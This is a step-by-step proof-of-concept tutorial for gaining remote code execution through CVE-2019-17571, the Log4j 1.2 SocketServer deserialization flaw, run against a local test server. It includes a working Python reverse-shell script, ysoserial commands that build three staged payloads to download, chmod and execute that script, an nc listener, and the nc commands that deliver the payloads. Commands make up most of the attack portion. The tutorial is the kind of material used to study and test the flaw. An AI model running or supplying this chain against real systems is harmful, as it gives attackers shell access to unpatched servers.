CVE-2019-17571 RCE PoC

This is not my CVE. It's a quick and dirty proof of concept tutorial on achieving RCE abusing CVE-2019-17571 that I put together for a friend.

CVE-2019-17571: Included in Log4j 1.2 is a SocketServer class that is vulnerable to deserialization of untrusted data which can be exploited to remotely execute arbitrary code when combined with a deserialization gadget when listening to untrusted network traffic for log data.

The following PoC is based on this great article by Aman Sapra. I merely modified the payload to showcase a reverse shell and provide a step by step guide for replication. This is not meant to be a write-up on this vuln nor Java deserialization attacks by any means.

Setup

I'll be using a fresh Ubuntu 20.04 VM, though any OS should work. Following Sapras setup I will install the test application that he provides on his github and download the correct JDK.

  1. Download the test server JankenTestLogServer.jar from here (credit: Aman Sapra)

  2. Download the Java dev-kit for linux: jdk-7u80 and extract it with

    tar xf jdk-7u80-linux-x64.tar.gz

  3. Create a simple config file for the test server (touch config) and paste the following contents into it:

config
log4j.rootLogger=DEBUG, consoleAppender

log4j.appender.consoleAppender=org.apache.log4j.ConsoleAppender
log4j.appender.consoleAppender.layout=org.apache.log4j.PatternLayout
log4j.appender.consoleAppender.layout.ConversionPattern=[%t] %-5p %c %x - %m%n

We can now start the test server on port 5111 with the following command:

./jdk1.7.0_80/bin/java -jar JankenTestLogServer.jar 5111 config

For generating the payloads (serialized Java objects) we'll also need an additional tool called ysoserial which can be downloaded from here or build from source.

RCE via Java Deserialization

While Aman Sapra demonstrates the RCE with a simple curl I'll be sending and triggering a basic Python reverse shell.

First, create a basic reverse shell script (taken from PentestMonkey), for example rev.sh:

This should optimally happen somewhere outside of the directory where the server is running or otherwise you will be hosting and downloading the reverse shell in the same location. Just use a parallel directory for example.

rev.sh
export RHOST="127.0.0.1"
export RPORT=4444
python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

Next, (back inside the directory where we extracted the JDK) we will create three payloads to a) download the reverse shell on the target (which actually is localhost in this example), b) make the script executable and c) execute it.

./jdk1.7.0_80/bin/java -jar ysoserial.jar CommonsCollections5 "wget 0:8000/rev.sh" > stage-one
./jdk1.7.0_80/bin/java -jar ysoserial.jar CommonsCollections5 "chmod +x rev.sh" > stage-two
./jdk1.7.0_80/bin/java -jar ysoserial.jar CommonsCollections5 "./rev.sh" > stage-three  

Last thing to do is to host our reverse shell script in one terminal and start a listener for the incoming connection in another one:

python3 -m http.server # Host the rev.sh file on port 8000
nc -nlvp 4444 # Start a listener

Having the test server, the python server and the listener running should look something like this:

Pane 1 shows the running test server, the Python server runs in pane 2 hosting the rev.sh file on port 8000, pane 3 has the listener running and we're ready to send the payloads from the fourth panel.

cat stage-one | nc 0 5111   # This will trigger a request from the python server
cat stage-two | nc 0 5111   # This will make rev.sh executable
cat stage-three | nc 0 5111 # This will trigger the reverse shell

Et voilà, we successfully gained shell access.

Again, this guide is only meant to share a step by step PoC. If you're looking for mitigations and details you might want to check out these links: Apache and NVD.

Last updated